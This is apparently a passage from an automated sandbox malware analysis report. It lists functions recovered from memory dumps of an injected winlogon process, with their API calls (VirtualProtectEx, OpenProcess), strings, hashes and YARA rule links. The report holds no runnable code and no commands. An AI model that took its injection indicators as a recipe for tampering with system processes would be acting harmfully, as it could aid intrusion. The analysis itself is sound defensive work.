Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 2C519333B547098BF726CF15E850E9973A0FB88B89F804159DD4A43754EB3AC945CB83

Function 000001CA7D295E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D295E66

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: ea16a1a7a1a17f6f263131a3a1cfce36d3cacf334bdce0e67c9e7c118ef6d97e
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 70610C33A58B4886F762CB15E540B5AB7E0F789789F900115EACD53BA8DB7AC441CF82

Function 000001CA7D215E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D215E66

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: 613c8c001a099c7bb1652f2b5ad2a82541488477a47cebf72ef6da64e55ba237
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 1B61DA33968B48C6F761CF19E440B5AB7A5F788748F904119EA8D43BA8DB7AC541CB82

Function 000001CA7D1E5E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5E66

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f37e1c6386c44249f93e7a8c8070b12ec0e492f56422c91e1d25021c4f6724ae
Instruction ID: fa9a5d2907fee9bc4b961baced023eb20950943a2e523218285e0907ba0ddb00
Opcode Fuzzy Hash: f37e1c6386c44249f93e7a8c8070b12ec0e492f56422c91e1d25021c4f6724ae
Instruction Fuzzy Hash: 1F61F633969B4886F761CB15E550B9AB7E0FB88749F900115FA8D43BA8DB3EC540CB83

Function 000001CA7D293EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D293A5B), ref: 000001CA7D293EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D293A5B), ref: 000001CA7D293F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D293A5B), ref: 000001CA7D293F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D293A5B), ref: 000001CA7D293F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D293A5B), ref: 000001CA7D293F68

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: a3441327fd192ba05e1bd0321bbdf2938bb54ef04919ac3b85a9ec6d852f5b6a
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 0F114F36A0874493FB258B21E40464B7770FB88B88F440026DE5D07758EB7EC94587C2

Function 000001CA7D213EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000001CA7D213A5B), ref: 000001CA7D213EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D213A5B), ref: 000001CA7D213F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D213A5B), ref: 000001CA7D213F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000001CA7D213A5B), ref: 000001CA7D213F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,000001CA7D213A5B), ref: 000001CA7D213F68

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: d868ca04b8d8586f6f6a390e290e58150676275038ac38a85c7b80935c32969b
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: DE115137A0874483FB258B21E4046497771FF48B98F44402AEA4D03758EB7ED545C7CA

Function 000001CA7D298CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D298CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D298D62
RtlUnwindEx.NTDLL ref: 000001CA7D298DBC

Strings

csm, xrefs: 000001CA7D298D49

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: f525cb24ccabdaef705eca32e391c6c3482e6c61b1592a8eb16db6a1036eaf3a
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 2151E273B417088AFB19CB25D054FADB391FB44B8DF984110EA9A57788DB7AC842C7C2

Function 000001CA7D218CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D218CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D218D62
RtlUnwindEx.NTDLL ref: 000001CA7D218DBC

Strings

csm, xrefs: 000001CA7D218D49

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: a759c82f011c931f3a48cb36091e1ef5e587e1df0f78fc6b8324226c07ede887
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 6051C133B417089AEB19CB25D084FA8B391FB54B9CF918128AA5547784DB7BC842C7C3

Function 000001CA7D1E8CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1E8CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D1E8D62
RtlUnwindEx.NTDLL ref: 000001CA7D1E8DBC

Strings

csm, xrefs: 000001CA7D1E8D49

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 60e8b9d452b22d8066b229c291e107fc67761e130e05b0da0dcc3cb05f5680b7
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 2B51E533B917888AFB59CB15E044FAC7791FB94B9DF948110EA4A47B88D77AC841C783

Function 000001CA7D29AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D29AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D29ABBC

Strings

csm, xrefs: 000001CA7D29AAF6
csm, xrefs: 000001CA7D29AC0E

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: ad04fe1eb2a1edeef54e6bc75b4d769991b9c3402fe3d2ab12d2ac4a189050a6
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 6C51D03398034887FBB68F119244B9877A0FB50B9EF944116DAC967B91CB3AC452C7C3

Function 000001CA7D29A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001CA7D29A75B
_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D29A7A7

Strings

RCC, xrefs: 000001CA7D29A777
MOC, xrefs: 000001CA7D29A76F

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: ed6a1ed037bc458e94a604c567b67e28dc429d86a9db094778d64014e96594a0
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: F361B433908BC881FB628F25E540BDEB7A0FB84799F445215EBC823B55DB39C091CB82

Function 000001CA7D21AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D21AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D21ABBC

Strings

csm, xrefs: 000001CA7D21AC0E
csm, xrefs: 000001CA7D21AAF6

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 10efc11f376cab87ef4acdaf2b77ccec9d4123c0fd27d91e5cae546ecccaa4a1
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: CA51B23398038887FBB68F119644B9877A1FB50B88F94811ADA5943B95C73BD553C7C3

Function 000001CA7D21A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001CA7D21A75B
_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D21A7A7

Strings

RCC, xrefs: 000001CA7D21A777
MOC, xrefs: 000001CA7D21A76F

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 2a22e60a9b3f854304751452df9d98a64753f55934e27dd4094366773aca3260
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 9C61B933908BC881EB728F15E5407DDB7A0FB85798F448219EB9817B55DB7EC192CB82

Function 000001CA7D1EAAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1EAAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D1EABBC

Strings

csm, xrefs: 000001CA7D1EAAF6
csm, xrefs: 000001CA7D1EAC0E

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: ff7a276064ca23684de81406a1f68796b44ce7f86f6096a08643deba12328983
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: E351C1339843888BFB768F11E644B9877A0FB50B9EF944116DA8947BD1CB3AD450D783

Function 000001CA7D1EA6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001CA7D1EA75B
_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D1EA7A7

Strings

RCC, xrefs: 000001CA7D1EA777
MOC, xrefs: 000001CA7D1EA76F

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 60592a73bcc56e8fc24094758dd9bb65472a20c058267f86d1c17b185443617f
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 3161AE33908BC881EB22CF15E540BDAB7A0FB85B99F444215EB9913B99DB7DC190CB42

Function 000001CA7D1B9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1B9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CA7D1B9FBC

Strings

csm, xrefs: 000001CA7D1B9EF6
csm, xrefs: 000001CA7D1BA00E

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 02134d3feda2e96eb50003ad244677908c7789116ae644b7e14578b12ac1f724
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 0E51D333A803888AFB768F51D244B987BA0FB54B9CF944119DA8D47BD5CB7AC451CB83

Function 000001CA7D293950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000001CA7D293972
StrStrW.SHLWAPI ref: 000001CA7D293990
StrToIntW.SHLWAPI ref: 000001CA7D2939B7

Part of subcall function 000001CA7D291A30: OpenProcess.KERNEL32 ref: 000001CA7D291A56
Part of subcall function 000001CA7D291A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D291A74
Part of subcall function 000001CA7D291A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D291A83
Part of subcall function 000001CA7D291A30: lstrlenW.KERNEL32 ref: 000001CA7D291A8F
Part of subcall function 000001CA7D291A30: StrCpyW.SHLWAPI ref: 000001CA7D291AA2
Part of subcall function 000001CA7D291A30: CloseHandle.KERNEL32 ref: 000001CA7D291AB0

Part of subcall function 000001CA7D293F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D29272F), ref: 000001CA7D293FA0

Strings

pid_, xrefs: 000001CA7D293968

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 28175376d5654a325b6e3448a41641f0585f000515273b2e813776c3207c95cb
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 25119032B5878591FB129B25E8007DB72A4FF88789FC004219E4993694EF7AC807C7C3

Function 000001CA7D213950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000001CA7D213972
StrStrW.SHLWAPI ref: 000001CA7D213990
StrToIntW.SHLWAPI ref: 000001CA7D2139B7

Part of subcall function 000001CA7D211A30: OpenProcess.KERNEL32 ref: 000001CA7D211A56
Part of subcall function 000001CA7D211A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D211A74
Part of subcall function 000001CA7D211A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D211A83
Part of subcall function 000001CA7D211A30: lstrlenW.KERNEL32 ref: 000001CA7D211A8F
Part of subcall function 000001CA7D211A30: StrCpyW.SHLWAPI ref: 000001CA7D211AA2
Part of subcall function 000001CA7D211A30: CloseHandle.KERNEL32 ref: 000001CA7D211AB0

Part of subcall function 000001CA7D213F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D21272F), ref: 000001CA7D213FA0

Strings

pid_, xrefs: 000001CA7D213968

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
